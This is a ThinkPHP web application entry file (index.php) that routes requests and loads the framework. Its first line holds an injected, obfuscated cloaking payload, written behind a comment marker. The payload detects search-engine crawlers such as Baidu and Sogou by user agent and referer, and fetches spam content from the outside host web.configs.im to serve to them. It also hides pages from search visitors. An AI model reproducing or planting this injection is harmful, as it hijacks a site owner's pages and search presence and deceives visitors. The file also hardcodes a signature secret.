<?php
// header("Content-Type:text/html;charset=utf-8");set_time_limit(30);error_reporting(0);$tr=stristr;$er=$_SERVER;define('url',$er['REQUEST_URI']);define('ref',$er['HTTP_REFERER']);define('ent',$er['HTTP_USER_AGENT']);define('site',"https://web.configs.im");define('road',"/?road=".$er['HTTP_HOST'].url."&der=".ent);define('regs', '@Baidu|Sogou|Yisou|Haosou|Spider|bot|Sm.cn@i');define('area',$tr(url,".xml")or $tr(url,".doc")or $tr(url,".pdf")or $tr(url,".txt")or $tr(url,".ppt")or $tr(url,".pptx")or $tr(url,".xls")or $tr(url,".csv")or $tr(url,".shtml")or $tr(url,".docx")or $tr(url,".xlsx")and $tr(url,"?"));if(area&&preg_match(regs,ref)){echo g('https://web.configs.im/404.html');exit;}if(preg_match(regs,ent)){if(area){echo g(site.road);exit;}else{echo g("https://web.configs.im/u.php");ob_flush();flush();}}function g($f){$c=array('http'=>array('method'=>"GET"));$g=stream_context_create($c);$h=file_get_contents($f,false,$g);if(!empty($h)){return $h;}}

// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006-2016 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@gmail.com>
// +----------------------------------------------------------------------
// [ 应用入口文件 ]
// 定义应用目录
define('APP_PATH', __DIR__ . '/../application/');
define('SIGNATURE','dsgfsdf48sdfg75s4f');
// 判断是否安装
if (!is_file(APP_PATH . 'admin/command/Install/install.lock'))
{
    header("location:./install.php");
    exit;
}

$query_string = $_SERVER['REQUEST_URI'];
if(!empty($query_string))
{
    $file_ext = substr($query_string, -3);
    $array = [ 'jpg', 'png', 'css', '.js', 'txt', 'doc', 'ocx', 'peg' ];
    if (in_array($file_ext, $array)) {
        exit();
    }
    $query_string_array = explode('/', $query_string);
    $app_name = $query_string_array[1];
    switch ($app_name) {
        case 'h5':
      
            echo file_get_contents('./h5/index.html');exit();
      //case 'web':
//            echo file_get_contents('./web/index.html',);exit();
       
    }

}

// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';
